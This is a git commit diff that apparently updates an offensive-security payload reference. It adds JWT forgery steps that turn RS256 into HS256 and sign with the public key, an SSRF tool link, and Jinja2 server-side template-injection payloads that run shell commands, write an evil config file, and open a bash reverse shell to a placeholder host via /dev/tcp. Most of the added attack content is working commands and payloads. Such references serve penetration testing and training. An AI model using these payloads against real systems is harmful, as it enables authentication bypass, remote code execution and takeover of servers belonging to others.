JWT RS256 to HS256 using pubkey to generate a signature

This commit is contained in:
Swissky 2019-07-10 20:58:50 +02:00
parent 6cecb8fa7a
commit 05054af343
3 changed files with 52 additions and 7 deletions

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@ -4,10 +4,15 @@
## Summary
- JWT Format
- JWT Signature - None algorithm
- JWT Signature - RS256 to HS256
- Breaking JWT's secret
- [Tools](#tools)
- [JWT Format](#jwt-format)
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
- [Breaking JWT's secret](#breaking-jwts-secret)
- [JWT Tool](#jwt-tool)
- [JWT cracker](#jwt-cracker)
- [Hashcat](#hashcat)
- [References](#references)
## Tools
@ -118,10 +123,40 @@ print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
```
Note: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version
`pip install pyjwt==0.4.3`.
Here are the steps to edit an RS256 JWT token into an HS256
1. Convert our public key (key.pem) into HEX with this command.
```powershell
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
```
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
```powershell
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
```
3. Convert signature (Hex to "base64 URL")
```powershell
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
```
4. Add signature to edited payload
```powershell
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
```
## Breaking JWT's secret
Encode/Decode JWT with the secret.
@ -232,3 +267,4 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [Write up JRR Token LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)

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@ -48,6 +48,7 @@
- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
## Payloads with localhost

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@ -254,7 +254,14 @@ Listen for connexion
nv -lnvp 8000
```
Inject this template
Exploit the SSTI by calling subprocess.Popen.
:warning: the number 396 will vary depending of the application.
```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
```
Exploit the SSTI by writing an evil file.
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
@ -262,6 +269,7 @@ Inject this template
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
```
### Filter bypass
```python